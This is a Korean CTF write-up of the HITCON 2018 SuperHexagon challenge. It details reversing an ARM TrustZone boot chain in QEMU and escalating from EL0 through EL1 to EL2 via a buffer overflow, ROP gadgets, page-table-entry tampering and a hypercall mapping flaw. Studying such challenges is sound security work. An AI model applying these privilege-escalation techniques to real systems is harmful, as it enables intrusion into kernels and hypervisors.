오랜만에 한꺼번에 블로그 글을 쓰게 되었다.
이번년도 초에 Theori에서 과제로 superhexagon을 풀면서 관련 CS를 한달간 공부해오는 것을 과제로 받았다.
글에서 언급하는 background 내용은 다른 글에서 따로 정리되어있다.
익스플로잇 코드나 gdbscript들은 Appendix 섹션으로 밀었다.
Overview
HITCON 2018 SuperHexagon
Overview
qemu는 메모리 블록을 region과 그에 대한 subregion으로 구성한다.
이러한 region들은 각자의 priority를 가지며 priority 값이 낮을수록 참조가 우선된다.
...
+ ARMCPRegInfo hitcon_flag_reginfo[] = {
+ { .name = "FLAG_WORD_0", .state = ARM_CP_STATE_BOTH,
+ .opc0 = 3, .opc1 = 3, .crn = 15, .crm = 12, .opc2 = 0,
+ .access = PL0_RW,
+ .readfn = hitcon_flag_word_0_read, .writefn = arm_cp_write_ignore },
...
typedef struct ARMCPUInfo {
const char *name;
void (*initfn)(Object *obj);
@@ -266,6 +387,7 @@
{ .name = "cortex-a57", .initfn = aarch64_a57_initfn },
{ .name = "cortex-a53", .initfn = aarch64_a53_initfn },
{ .name = "max", .initfn = aarch64_max_initfn },
+ { .name = "hitcon", .initfn = aarch64_hitcon_initfn },
{ .name = NULL }
};
...
미리 정의된 시스템 레지스터를 읽어서 flag를 읽을 수 있다.
EL 마다 따로 리턴되는 flag가 다르다.
1. Flags have to be read from 8 sysregs: s3_3_c15_c12_0 ~ s3_3_c15_c12_7
For example, in aarch64, you may use:
mrs x0, s3_3_c15_c12_0
mrs x1, s3_3_c15_c12_1
.
.
.
mrs x7, s3_3_c15_c12_7
For first two stages, EL0 and EL1, `print_flag' functions are included.
Make good use of them.
qemu-system-aarch64, based on qemu-3.0.0, is also patched to support this
feature. See `qemu.patch' for more details.
README에서 어떤식으로 flag를 얻을 수 있는지 나와있다.
편의를 위해 모든 level 별로 flag를 읽는 함수가 정의되어있다.
EL0, Non-secure application
EL0, ELF binary
bios.bin에서 리버스 엔지니어링 없이 유저 어플리케이션을 카빙할 수 있을지부터 확인했고 이를 그대로 추출했다.
void load_trustlet(char *base,int size)
{
...
__dest = mmap((void *)0x0,__len,3,0,0,-1);
iVar1 = tc_register_wsm(__dest,__len);
...
memcpy(__dest,base,(long)size);
iVar1 = tc_init_trustlet(iVar1,size);
if (iVar1 == 0) {
pTVar3 = (TCI *)mmap((void *)0x0,0x1000,3,0,0,-1);
uVar2 = tc_register_wsm(pTVar3,0x1000);
...
tc_ 접두사가 붙은 함수들은 trustzone과 상호작용하기 위한 함수들로 보인다.
알려지지 않은 svc 번호를 이용한다.
TA_Bin은 arm32 thumb mode S-EL0 커스텀 바이너리로 보인다.
그리고 tci_buf→cmd와 index를 설정하고 tci_handle을 인자로 tc_tci_call을 호출해서 secure world쪽으로 key를 넘기는 로직이 구현되어있다.
Vulnerability
int scanf(char *__format,...)
{
...
local_18 = in_x5;
local_10 = in_x6;
local_8 = in_x7;
gets(input);
local_100 = ap.__stack;
pvStack_f8 = ap.__gr_top;
uStack_e8 = CONCAT44(ap.__vr_offs,ap.__gr_offs);
local_f0 = ap.__vr_top;
iVar1 = vsscanf(input,__format,&local_100);
return iVar1;
}
취약점은 단순 bof와 cmdtb에 대한 oob 였다.
print_flag 함수가 이미 있으니 그 함수로 뛰면 된다.
[*] Switching to interactive mode
Flag (EL0): hitcon{this is flag 1 for EL0}
cmd> $
Code execution
(*cmdtb[cmd])(buf,idx,len);
len, idx가 컨트롤 가능하기 때문에 mprotect를 호출해서 권한을 변경할 수 있다.
mprotect를 호출해서 rwx로 권한을 변경하려고 시도했지만 EL2에서 항상 w^x를 보장하기에 불가능하다.
그렇다면 처음 입력때 미리 쉘코드를 삽입하고 r-x 로 권한을 변경하고 거기로 점프하면 된다.
Reverse engineering bootloader
부팅 초기에는 항상 최고 권한에서 시작하기에 무결성이 보장되어야한다고 생각했는데 실제로 나중에 익스플로잇을 다 끝내고 보니까 애초에 S-EL3의 경우엔 메모리에 올라오지 않고 flash rom 위에서 돌았다.
처음엔 부트로더쪽 배경지식이 없었기에 직접 qemu 코드를 읽어보면서 분석을 시작했다.
cpu는 처음에 reset을 수행하는데 이는 arm_load_kernel에서 볼 수 있었다.
hwaddr flashsize = memmap[VIRT_FLASH].size / 2;
hwaddr flashbase = memmap[VIRT_FLASH].base;
create_one_flash("hitcon.flash0", flashbase, flashsize, bios_name, secure_sysmem);
create_one_flash("hitcon.flash1", flashbase + flashsize, flashsize, NULL, sysmem);
여기서 memmap[VIRT_FLASH].base는 0이고 bios.bin을 여기에 로드한다.
void arm_load_kernel(ARMCPU *cpu, MachineState *ms, struct arm_boot_info *info)
{
...
for (cs = first_cpu; cs; cs = CPU_NEXT(cs)) {
qemu_register_reset(do_cpu_reset, ARM_CPU(cs));
nb_cpus++;
}
...
/* Load the kernel. */
if (!info->kernel_filename || info->firmware_loaded) {
arm_setup_firmware_boot(cpu, info);
} else {
arm_setup_direct_kernel_boot(cpu, info);
}
...
}
reset시에 호출될 do_reset 함수를 콜백으로 등록하고, rom의 0x0부터 실행을 시작한다.
IROM 내부에서 돌아가는 BL0를 에뮬레이션한 부분으로 이해했다.
...
sctlr_el3 = 0x30c50830;
InstructionSynchronizationBarrier();
vbar_el3 = 0x2000;
InstructionSynchronizationBarrier();
uVar1 = sctlr_el3;
sctlr_el3 = uVar1 | 0x100a;
InstructionSynchronizationBarrier();
scr_el3 = 0x238;
mdcr_el3 = 0x18000;
...
위처럼 sctlr_el3 같은 레지스터에 접근하는 것을 볼 수 있다.
시스템 레지스터 뒤에 붙은 접미사는 최소 접근 권한을 뜻한다.
CPSR structure & gdbscript
처음에 부팅하고 CPSR 레지스터를 확인하면 현재의 Exception level을 알 수 있다.
이를 참고하여 cpsr을 확인하는 명령어 지원을 추가했다.
gdb에 로드하고 0x0 번지부터 cpsr의 값을 확인해보면 다음과 같다.
gef> cpsr
EL3h| FIQ_MASKED | COND_8
초기 부팅시에 코드는 EL3 코드라는 것을 알 수 있다.
SCTLR_ELx structure
초기에 EL3로 부팅을 시작하고, 이때 virtual memory system이 활성화 되었는지 확인하려면 M bit를 확인하면 된다.
arm 프로세서는 power up시에 cold reset이 수행된다.
메뉴얼에서 warm reset시 M bit가 0으로 세팅되며, 메뉴얼에선 warm reset에서 reset되는 필드는 모두 cold reset에서도 reset된다고 했다.
그렇기에 SCTLR_EL3.M bit는 0으로 IMPLEMENTATION DEFINED 값이다.
실제로도 0으로 세팅되어있는 것을 볼 수 있다.
0x0 번지부터 실행될 때에는 당연하지만 가상 주소가 꺼져있음을 알 수 있다.
Identifying exception handlers
VBAR_ELx structure
exception이 일어나면 exception vector에 등록된 handler가 호출된다.
Exception vector structure
0x80 align 되어있다.
00000010 80 ff 00 10 adr x0,0x2000
00000014 00 c0 1e d5 msr vbar_el3 ,x0
00000018 df 3f 03 d5 isb
이제 exception vector가 어떻게 생겼는지 알고 있다.
+#define RAMLIMIT_GB 3
+#define RAMLIMIT_BYTES (RAMLIMIT_GB * 1024ULL * 1024 * 1024)
+static const MemMapEntry memmap[] = {
+ /* Space up to 0x8000000 is reserved for a boot ROM */
+ [VIRT_FLASH] = { 0, 0x08000000 },
+ [VIRT_CPUPERIPHS] = { 0x08000000, 0x00020000 },
+ [VIRT_UART] = { 0x09000000, 0x00001000 },
+ [VIRT_SECURE_MEM] = { 0x0e000000, 0x01000000 },
+ [VIRT_MEM] = { 0x40000000, RAMLIMIT_BYTES },
+};
앞서 물리 메모리 레이아웃을 patch 파일을 통해 식별했다.
VIRT_FLASH 부터 적재되었고, physical address를 쓰니 0x2000 그대로 상수값대로 접근하면 될 것이다.
ghidra를 통해 적당히 0x80씩 더해가며 디스어셈블해보니 exception handler를 식별할 수 있었다.
대충 어떤식으로 분석을 시도해야하는지 알게 되었다.
그런데 지금 취약점을 찾아서 익스플로잇해야하는 부분은 EL3가 아닌 EL1이다.
일단 EL3의 exception vector를 찾았으니 나중을 위해 남겨두고 다시 부트로더를 분석해야한다.
부트로더가 어떤 동작을 하고 있는지 이제 이해할 수 있다.
memset(0xE002000, 0, 0x202000)
memcpy(0xE000000, 0x002850, 0x68)
memcpy(0x40100000, 0x10000, 0x10000)
memcpy(0xE400000, 0x20000, 0x90000)
memcpy(0x40000000, 0xb0000, 0x10000)
아까 위에서 얘기했듯이 S-EL3는 코드 무결성을 위해 코드는 DRAM에 올라가지 않는다.
0x10000를 확인했더니 EL2 코드를 확인할 수 있었다.
물리메모리 맵에 따라 적재된 이후 실행되었기 때문에 이러한 주소를 가지게 된다.
여기서 EL1의 exception vector 주소는 가상 주소로 설정되어있다.
0xb0000에서 EL1을 확인할 수 있었다.
ttbr0_el1 = 0xb1000;
ttbr1_el1 = 0xb4000;
tcr_el1 = 0x6080100010;
uVar1 = sctlr_el1;
sctlr_el1 = uVar1 | 1;
이런식으로 virtual memory system을 활성화하고 점프한다.
EL1까지 찾았으니 소거법으로 마지막 남은 0x20000은 S-EL1에 해당할 것이다.
BL1 부팅을 좀 더 확인해보면, EL3에서 eret으로 EL2로 내려가서 부팅을 마저 수행한다.
그리고 IPA 0x0부터 EL1을 마저 부팅하게 되며 이때 TEE OS를 초기화한다.
Extracting EL1, S-EL1, EL2 binaries
#!/bin/sh
dd if=./bios.bin of=EL1.out bs=1024 skip=704 count=64
dd if=./bios.bin of=S-EL1.out bs=1024 skip=128 count=576
dd if=./bios.bin of=EL2.out bs=1024 skip=64 count=64
이제 EL1을 분석할 수 있게 되었다.
TCR_ELx structure & gdbscript
arm manual에서는 두 개의 VA ranges를 지원하기 위해 TTBR0, TTBR1를 이용한다고 나와있다.
그리고 이 두 개의 VA ranges에 대해서 각자에 TCR의 TxSz로 범위가 지정된다고 한다.
메뉴얼보고 gdbscript로 파싱하는 스크립트를 작성해서 명령어를 추가했다.
이러한 범위로 이용되는 것을 확인했다.
TTBR이 가리키고 있는 물리 메모리 영역을 읽어야한다.
qemu에선 gdb-stub을 제공해줘서 monitor 명령어를 이용해서 물리 메모리를 읽을 수 있다.
메모리 region을 보면 cpu-memory-0를 제외하고는 모두 secure-memory-0의 subregion으로 존재한다.
Accessing secure memory & gdbscript
각자의 EL에서 디버깅을 할텐데 해당 EL에선 더 상위 EL의 메모리를 읽지 못한다.
gdbstub에서 xp라는 명령으로 물리메모리에 액세스가 가능해서 편하게 물리메모리 영역을 덤프할 수 있다.
근데 문제는 Secure world의 메모리는 전혀 읽지 못한다는 점이다.
이는 qemu가 secure world가 메모리 격리를 고려해서 NS 비트가 세팅되지 않았을때 secure world 메모리를 읽지 못하도록 구현한 것으로 보인다.
전체 Secure/Non-secure world의 모든 물리 메모리를 접근하고 덤프하는 툴이 있으면 분석하기 편할 것 같아서 만들기로 결정했다.
다른 오픈소스 프로젝트들을 참고해서 arm64의 secure memory에 대한 물리 메모리 읽기를 어떤 방식으로 구현했는지 확인했다.
이를 바탕으로 직접 gdbscript를 작성하여 메모리 트리를 직접 확인하고 secure memory를 포함한 region을 재귀적으로 찾고 호스트 메모리에서 읽는 명령어 지원을 추가했다.
정상적으로 secure memory를 확인할 수 있게 되었다.
이를 이용하면 직접 다른 exception level들이 어떻게 secure memory에 적재되는지 확인할 수 있을 것이다.
EL1, Non-secure Kernel
유저 애플리케이션을 익스플로잇했으니 이제 커널로의 권한 상승을 해야한다.
bata24 gef에선 arm64에 대한 pagewalk가 지원된다.
VBAR을 확인하면 handler들이 보인다.
system call은 synchronous 하고 lower exception level에서부터 발생하니 해당 부분을 확인해서 분석을 시작했다.
...
uVar11 = esr_el1;
if (((uint)(uVar11 >> 26) & 0x3f) != 0b00010101) {
/* WARNING: Subroutine does not return */
FUN_ffffffffc00091b0();
}
...
EC field에 접근하고 있다.
딱 봐도 이 함수는 위 두 값에 대한 비교를 하는 함수인 것을 알 수 있다.
sys_read, sys_write는 0xffffffffc9000000을 읽거나 쓴다는 것을 알 수 있었다.
IPA는 0x3b000이며 PA는 0x9000000이다.
여긴 UART mmio 영역이다.
sys_read는 내부적으로 1 바이트씩 여기서 읽고 리턴한다.
Vulnerability
...
phys = FUN_ffffffffc0008530(x1);
for (usr_page = usr; usr_page < x1 + (long)usr; usr_page = usr_page + 0x1000) {
FUN_ffffffffc0008864(usr_page,usr_page + (phys - (long)usr),(ulong)x2 & 0xffffffff );
...
ELx에서의 가상 주소 액세스는 분명 ELx의 translation table base address를 타고 변환될텐데 x1에 대한 privileged, unprivileged 체크가 없어서 이상함을 느꼈다.
다른 시스템 콜들의 경우 1 단계 변환후 attribute를 비교해서 user memory인지 아닌지를 검사한다.
ropper로 쭉 뽑고 보다가 0xffffffffc0009130 가젯을 쓸 수 있을 것이라고 생각했다.
fffc0009130 fc 7f 40 f9 ldr x28 ,[sp, #0xf8 ]
fffc0009134 1c 41 18 d5 msr sp_el0 ,x28
fffc0009138 fc 77 4e a9 ldp x28 ,x29 ,[sp, #param_24 ]
fffc000913c c0 03 5f d6 ret
삽질하다가 메뉴얼을 뒤져보니 다음과 같이 UNDEFINED로 정의되어있었다.
handler가 SP_ELxh에서 SP_ELxt로 최대한 빨리 전환을 시도하기에 절대 쓸 수 없는 가젯이다.
fffc0009430 f3 53 41 a9 ldp x19 ,x20 ,[sp, #local_10 ]
fffc0009434 fd 7b c2 a8 ldp x29 =>local_20 ,x30 ,[sp], #0x20
fffc0009438 c0 03 5f d6 ret
더 찾다가 위 가젯을 찾았다.
sp+80에 연속적으로 쓸 수 있으니 저기부터 흐름을 두 번 연속으로 변조하면 pc 컨트롤이 가능하다.
ret 1 byte overwrite → print_flag
[*] Paused (press any to continue)
[*] Switching to interactive mode
Flag (EL1): hitcon{this is flag 2 for EL1}
Gaining code execution
Arm manual 보면서 page descriptor도 봤었다.
Two VA ranges를 지원할 때 translation 과정은 stage 1과 stage 2로 나뉜다.
VA → IPA → PA 중에 실질적으로 공격할 수 있는건 IPA까지여서 VA → IPA를 속여서 공격하는 것을 생각해볼 수 있다.
이는 VA → IPA의 매핑 관계가 EL1의 영역에 존재하기에 가능하다.
잘 조작해서 임의 VA에 대해서 원하는 IPA로 매핑할 수 있다면, EL0 쪽 메모리와 매핑시켜 특권 레벨에서 code execution이 가능하다.
PAN을 확인해봤는데 PAN이 비활성화되어 있었으니 그냥 userland에 fake page table을 준비해두고 초기 코드에 TTBR에 대한 할당을 수행하는 특권 명령을 실행하는데 여기로 점프하면 임의 코드 실행을 얻을 수 있을 것 같았다.
혹시 MMU 킨 상태에선 TTBR1에 대한 할당이 트랩을 일으킬까봐 메뉴얼을 봤더니 따로 그런 검증 로직은 없었다.
fffc000000c 20 20 18 d5 msr ttbr1_el1 ,x0
fffc0000010 00 02 80 d2 mov x0,#0x10
fffc0000014 00 02 b0 f2 movk x0,#0x8010 , LSL #16
fffc0000018 00 0c c0 f2 movk x0,#0x60 , LSL #32
fffc000001c 40 20 18 d5 msr tcr_el1 ,x0
fffc0000020 df 3f 03 d5 isb
fffc0000024 00 10 38 d5 mrs x0,sctlr_el1
fffc0000028 00 00 40 b2 orr x0,x0,#0x1
fffc000002c 00 10 18 d5 msr sctlr_el1 ,x0
fffc0000030 df 3f 03 d5 isb
fffc0000034 e0 87 62 b2 orr x0,xzr ,#-0x40000000
fffc0000038 41 fe 03 10 adr x1,-0x3fff8000
fffc000003c 00 00 01 8b add x0,x0,x1
fffc0000040 00 00 1f d6 br x0=>LAB_ffffffff80008000
어차피 TTBR1_EL1 바꾸면 두 번째 VA가 TTBR1 타고 변환하니 fault 안만들고 그냥 안정적으로 임의 코드 실행을 달성할 수 있을 것 같다.
근데 유저랜드에서 fake page table 만들려면 4kb 이상의 방대한 메모리가 필요하고, 하나 하나 다시 써야한다.
그래서 read로 EL1의 PTE를 덮어서 IPA를 바꿔주는 것을 선택했다.
아니면 유저쪽 PXN 비트를 떨구고 거기로 뛰어도 된다고 한다.
그게 더 간단하지만 풀 때는 그 생각을 못했다.
0xffffffffc001e000 -> 0x1e000 -> 0x4001e000로 변환되니까 저 부분을 수정하면 된다.
0x0040000000036483로 바꿔주면 미리 mmap 해놓은 유저 페이지를 실행하게 된다.
PTE 수정하려면 2바이트가 필요한데 read는 한번에 1바이트씩만 쓸수 있다.
1바이트만 달라져도 qemu에서 tlb 자체를 완전한 환경에 맞춰 구현하지 않아 바로 fault가 발생한다.
그래서 저 페이지 테이블 자체를 가리키는 descriptor의 AP를 변경해서 EL0에서 RW를 만들었다.
그리고 EL0에서 8바이트 전체를 써주는 방식으로 진행하면 될것 같았다.
mprotect R-X를 해줘야 EL2 MMU에 변경된 execution 권한이 적용된다.
EL2는 물리 메모리로 접근하니 손으로 pagewalk해서 확인해보았다.
mprotect r-x 안했을때 stage 2 translation의 주체인 EL2의 page table에 EL0/1 execution이 비활성화 되었음을 알 수 있다.
bata24 gef를 이용하고 있는데 버그가 있다.
1) 0x0000000000034000-0x0000000000037000 0x0000000040034000-0x0000000040037000 0x3000 0x1000 3 [EL0/R-X EL1/R-X ACCESSED]
2) 0x0000000000036000-0x000000000003b000 0x0000000040036000-0x000000004003b000 0x5000 0x1000 5 [EL0/RWX EL1/RWX ACCESSED]
1번이 mprotect r-x 해줬을 때 gef가 보여주는 EL2 매핑이다.
2번이 mprotect 안해줬을 때 gef가 보여주는 EL2 매핑이다.
gef 코드를 보니 따로 WXN는 신경을 쓰는데, FEAT_XNX는 stage 2라서 그런지 따로 확인하지 않는다.
실제로 2번은 EL2에서 RWX가 아니라 RW로 봐야한다.
임의 쉘코드 실행을 만들었으니 이제 EL2를 보면 된다.
EL2, Virtual machine monitor
커널까지 공격했으니 이제 hypervisor를 공격해서 vm escape를 해서 Normal world를 모두 컨트롤할 수 있도록 만들어야한다.
원래 EL1에서 EL3로 secure monitor call을 하는것도 EL2를 거쳐서 처리되기 때문에 여기를 공격 타겟으로 잡아야한다.
이 문제에선 Type 1 hypervisor를 채택한 구조다.
만약 Type 2 구조였다면 공격 벡터를 추가적으로 저 highvisor 부분으로도 신경을 썼어야 하지 않았을까 생각한다.
...
if (EC_ == 0b00010110) {
if (x0 == 1) {
x1 = HVC_handler(x1,saved_reg[2],saved_reg[2],saved_reg[3]);
}
else {
x0 = -1;
}
}
else if (EC_ == 0b00010111) {
if (x0 == 0x83000003) {
if (x1 < 0x3c001) {
x0 = SMC_handler(0x83000003,x1 + 0x40000000);
}
else {
x0 = -1;
}
}
else {
x0 = SMC_handler(x0,x1);
...
이전에 spS-EL = 0으로 해주고 위 함수로 점프한다.
EL1에서 smc를 통해 secure monitor를 call 할 수 있던 이유는 여기서 저런식으로 따로 핸들링을 다시 해줬기 때문이였다.
EL1에서 mmap, mprotect 핸들링시에 hypercall로 EL2를 부르는데 EL2는 여기서 EL2 page table을 변경한다.
Vulnerability
...
if (x1 < 0x3c000) {
/* x1 < 0xc000 and must not be writable */
if ((x1 < 0xc000) && (((uint)x2 >> 7 & 1) != 0)) {
FUN_4010009c(s__[VMM]_try_to_map_writable_pages_40102130);
FUN_401006a8();
FUN_40100774();
}
else {
/* (el0/el1 exec) and (no write) */
if ((x2 & 0x40000000000080) != 0x80) {
/* ??? */
puVar1 = (undefined *)(x1 + 0x40000000 | x2);
*(undefined **)(&DAT_40107000 + (idx_addr + (x1 >> 21) * 0x200) * 8) =
...
HVC handler를 분석하다가 얼마 안돼서 뭔가 이상함을 발견했다.
애초에 쓰는게 descriptor인데 IPA가 PA에 저렇게 영향을 주면 안된다는 것을 깨달았다.
그리고 이 취약점을 이용하면 0x3c000보다 작은 임의 IPA에 대해 할당하고 PA를 매핑할 때 S2AP는 하위 1바이트안에 들어가니 이를 이용해 RWX 페이지를 매핑할 수 있다는 것을 알았다.
근데 IPA는 EL1에서 임의 코드 실행을 달성한 순간부터 원하는 VA와 매핑할 수 있다.
하이퍼바이저쪽 페이지 권한이 컨트롤 가능하다면, 사실상 IPA는 이미 컨트롤가능하니 이걸로 이전과 똑같이 공격을 하면 된다.
마저 익스플로잇 전략을 설명하자면 hypercall handler가 위치한 페이지를 바꿔치기해서 다음과 같이 해준다.
- EL1에서 EL0쪽 PTE를 변조해서 특정 IPA를 가리키도록 하고 AP 01로 설정한다.
- hvc로 변조한 특정 IPA를 hypervisor의 handler 코드 페이지를 가리키는 PA로 세팅하고 S2AP 11로 설정한다.
- EL2 shellcode를 EL2 0x40102000에 복사한다.
[*] Switching to interactive mode
hitcon{this is flag 3 for EL2}
\x00[*] Got EOF while reading in interactive
gef arm64 pagewalk는 권한을 틀리게 보여줘서 직접 손으로 pagewalk해서 확인해야한다.
pull request 보내려 했는데 나중에 보내야겠다.
Exploring the Secure world
Normal world의 최고 exception level까진 도달했다.
non-secure physical memory의 모든 부분이 제어 가능하다.
이제 secure world로 넘어가야한다.
전에 arm trustzone 관련해서 메뉴얼을 정리하면서 어떻게 trustzone이 메모리 격리를 유지하는지에 대해서 공부했었다.
리마인드하자면 ARM CPU는 NS 비트를 하드웨어적으로 지원해서 메모리 격리를 유지하고 캐시 라인에서도 NS를 추가하면 따로 tlb flush도 안해도 되는식으로 구현을 했다.
ARM CPU는 SMMU를 통해 Non-secure world에서의 장치 액세스를 막아서 실질적으로 Secure world도 점거해야 중요한 장치를 공격할 수 있다.
Analyzing the secure monitor
qemu에서 32bit 디버깅을 지원하지 않는다.
그래서 직접 빌드하고 run script를 수정했다.
기존에 직접 작성했던 secure memory를 읽는 기능을 이용해야해서 로컬에서 디버깅을 시작했다.
부팅 과정에서 가장 높은 exception level로 부팅을 시도하기에 전에 분석했었던 S-EL3의 부트로더부분으로 돌아가야한다.
거기서 VBAR_EL3가 0x2000인 것을 얻을 수 있다.
일단 EL2에서 S-EL3를 바로 공격하는게 가능한지 확인해봤다.
EL3의 bootloader에서 미리 0xe000000 쪽의 메모리를 0으로 밀었었다.
FUN_00000ad0는 다음과 같이 기존 non-secure system register를 특정 secure memory의 주소 + 0x130에 저장한다.
이는 아마 gerneral purpose register까지 저장하기에 그런 것 같다.
...
00000dfc 30 10 38 d5 mrs x16 ,actlr_el1
00000e00 0f 40 01 a9 stp x15 ,x16 ,[x0, #0x10 ]
00000e04 51 10 38 d5 mrs x17 ,cpacr_el1
00000e08 09 00 3a d5 mrs x9,csS-ELr_el1
...
00000e6c 11 24 0a a9 stp x17 ,x9,[x0, #0xa0 ]
00000e70 0a 9c 3b d5 mrs x10 ,pmcr_el0
00000e74 0a 58 00 f9 str x10 ,[x0, #0xb0 ]
00000e78 c0 03 5f d6 ret
아마 S-EL2는 구현되지 않아서 최대 S-EL1까지의 레지스터만 저장하는 것으로 보인다.
전에 trustzone 구현 메뉴얼을 살펴봤다.
그때 SCR_EL3.NS를 반전시켜 non-secure과 secure 전환을 한다고 했었는데, 그전에 이렇게 system register의 save/load가 필요하다고 나와있었는데 그 부분이 구현된 부분이다.
그렇다면 이런 save 함수가 있으니 이는 secure world 진입 직전일 것이고, 당연히 stack context 복구나 saved system registers를 다시 restore하는 함수도 있을 것임을 알 수 있다.
이런 구조를 염두에 두고 분석했더니니 쉽게 분석할 수 있었다.
x0 == 0x83000001는 secure → normal 이다.
그 위 부분들은 secure world에서 호출시에만 동작하니 일단 생략한다.
위 함수가 호출되기 전에 조금 흥미로운 작업을 수행한다.
sp = 0xe002210
fill out general purpose regs
LAB_0000280c XREF[2]: 00002418 (j) , 00002618 (j)
0000280c c0 f9 ff 97 bl FUN_00000f0c undefined FUN_00000f0c(undefined
00002810 e5 03 1f aa mov param_6 ,xzr
00002814 e6 03 00 91 mov param_7 ,sp
00002818 cc 88 40 f9 ldr x12 ,[param_7 , #0x110 ]
0000281c bf 40 00 d5 msr PState.SP,#0x0
00002820 9f 01 00 91 mov sp,x12
00002824 10 40 3e d5 mrs x16 ,spsr_el3
00002828 31 40 3e d5 mrs x17 ,elr_el3
0000282c 12 11 3e d5 mrs x18 ,scr_el3
00002830 d0 c4 11 a9 stp x16 ,x17 ,[param_7 , #0x118 ]
...
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)
디컴파일러에선 아예 보이지 않는데, 여기서 normal world context가 저장된 sp를 param_7(w6)에 넣고 spsr_el3, elr_el3, scr_el3를 저장한다.
PState.SP에 0을 넣고 s-el3의 특정 stack 주소를 세팅해서 동작을 이어간다.
00000bb4 fd 7b bf a9 stp x29 ,x30 ,[sp, #local_10 ]!
00000bb8 fd 03 00 91 mov x29 ,sp
00000bbc 38 ff ff 97 bl get_secure_mem world_ctx * get_secure_mem(uint6
00000bc0 bf 41 00 d5 msr PState.SP,#0x1
00000bc4 1f 00 00 91 mov sp,x0
00000bc8 bf 40 00 d5 msr PState.SP,#0x0
00000bcc fd 7b c1 a8 ldp x29 ,x30 ,[sp], #0x10
00000bd0 c0 03 5f d6 ret
여기서 sp_elxh를 세팅한다.
아까 normal world context가 sp_elxh가 가리키는 구조체였고 이전에 normal world context에 접근하나, secure world context에 접근하냐에 따라 S-EL3에 진입할 때 어떤 world context에 저장할지 결정된다.
00000fa8 f1 03 00 91 mov x17 ,sp
00000fac bf 41 00 d5 msr PState.SP,#0x1
00000fb0 f1 8b 00 f9 str x17 ,[sp, #param_11 ]
00000fb4 f2 83 40 f9 ldr x18 ,[sp, #SCR_EL3 ]
00000fb8 f0 c7 51 a9 ldp x16 ,x17 ,[sp, #SPSR_EL3 ]
00000fbc 12 11 1e d5 msr scr_el3 ,x18
00000fc0 10 40 1e d5 msr spsr_el3 ,x16
00000fc4 31 40 1e d5 msr elr_el3 ,x17
00000fc8 f5 ff ff 17 b FUN_00000f9c undefined FUN_00000f9c(undefined
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)
그리고 마지막으로 여기서 world switch를 수행한다.
FUN_00000f9c에선 general purpose register 불러오고 eret을 수행한다.
아무리 봐도 악용할만한 취약점이 보이지 않았다.
그래서 S-EL0 부터 공격하기로 결정했다.
Analyzing the Interaction Between the Normal World and the Secure World
EL0
iVar1 = tc_init_trustlet(iVar1,size);
if (iVar1 == 0) {
pTVar3 = (TCI *)mmap((void *)0x0,0x1000,3,0,0,-1);
uVar2 = tc_register_wsm(pTVar3,0x1000);
...
위와 같은 방식으로 초기화를 했었고 TA_bin이라는 이상한 바이너리를 넘겼었다.
EL1
따로 처리 로직이 존재한다.
if (x8 == 0xff000005) {
if ((x0 & 0xfff) == 0) {
uVar1 = secure_monitor_call(0x83000005,x0 & 0xffffffff,x1 & 0xffffffff,0);
...
else if (x8 == 0xff000006) {
if ((x0 & 0xfff) == 0) {
uVar1 = secure_monitor_call(0x83000006,x0,0,0);
실질적으로 약간의 넘겨진 메모리 주소 검사를 해주고 모두 secure monitor로 넘긴다.
EL2
if (x1 < 0x3c001) {
x0 = SMC_handler(0x83000003,x1 + 0x40000000);
...
else {
x0 = SMC_handler(x0,x1);
...
IPA → PA를 해주고 Secure monitor로 마저 넘긴다.
S-EL3
...
if ((non_secure & 1) == 0) {
if (x0 != 0x83000002) {
if (x0 == 0x83000007) {
save_el1_sysregs(0);
pwVar2 = get_secure_mem(1);
restore_sysregs(1);
set_spelx(1);
pwVar2->x0 = x1;
return pwVar2;
}
FUN_00000d28();
do_panic();
...
}
else {
uVar1 = uVar1 & 0xffffffff;
/* save non-secure system register */
save_el1_sysregs(1);
if (x0 == 0x83000001) {
...
FUN_00000b2c(0,tmp.PC + 0x20,0x1d3);
restore_sysregs(0);
set_spelx(0);
...
}
이제 호출되었을 때 어디로 가는지 확인해야할 필요가 있다.
SPSR_EL3 structure & gdbscript
AArch64 exception이 발생했을 때 M bit 인코딩과 arm32에 대한 M bit 인코딩을 메뉴얼에서 확인했고 명령어 지원을 추가했다.
bootloader
S-EL1을 보다가 못 읽겠어서 aarch32 manual을 찾아서 차근차근 읽어봤다.
그랬더니 이미 정의된 주소로 핸들링을 수행한다고 한다.
Secure VBAR을 확인해야한다.
aarch64와 다르게 시스템 레지스터에 접근한다.
읽는 법은 위처럼 읽으면 된다.
VBAR 인자가 뭔지 잘 모르겠다.
그래서 부트로더로 다시 돌아가서 secure world가 어떻게 초기화되는지 분석했다.
kernel의 첫 페이지는 IPA 0x0에 매핑되어있다.
그래서 실질적으로 rebase해서 EL1을 분석할 때는 초기 페이지들을 날리고 했어야했다.
어쨋든 FUN_ffffffffc0008210에서 TEE OS initialize를 한다.
...
normal_ctx._536_4_ = 1;
FUN_00000120(0xe000000,1,DAT_0e000008,0xe400000,1,2,(uVar2 & 0xffffffff) * 0x220 + 0xe002430);
}
return !bVar1;
}
0xe000000가 보이는거 보니 boot argument 같은 것으로 보인다.
BL1에서 0x68 만큼 copy한 데이터에 속한다.
...
(secure_context->sysregs).SCTLR_EL1 = (ulong)((*(uint *)(param_2 + 4) & 2) << 0x18 | uVar1);
lVar2 = actlr_el1;
(secure_context->sysregs).ACTLR_EL1 = lVar2;
if (ns == 0) {
(secure_context->sysregs).PMCR_EL0 = 0x60;
}
/* SCR_EL3.NS = 0 */
secure_context->scr_el3 = (ulong)new_SCR;
secure_context->pc = *(uint64_t *)(param_2 + 8);
secure_context->spsr = (ulong)*(uint *)(param_2 + 0x10);
...
위와 같이 secure context를 세팅한다.
void FUN_000001f8(long param_1)
{
restore_sysregs(0);
set_spelx(0);
FUN_00000c90(param_1 + 0x10);
return;
}
FUN_00000c90 내부적으로 시스템 레지스터 세팅하고 eret한다.
어떤식으로 world switch가 일어나고 어디를 분석해야할지 알게 되었다.
Secure world pagewalk gdbscript
qemu에서 system registers를 보여주는데 오류가 있어서 직접 pagewalk를 하는 명령어 지원을 추가했다.
메뉴얼은 적당히 보고 넘기면서 구현했다.
AP[2:1] 모델이 조금 달라서 그부분도 신경쓰면서 구현했다.
...
lvl1_idx = addr >> 21 & 0x7f;
if ((*(uint *)(&trans_table_lvl1 + lvl1_idx * 8) | *(uint *)(lvl1_idx * 8 + 0x8004004)) == 0) {
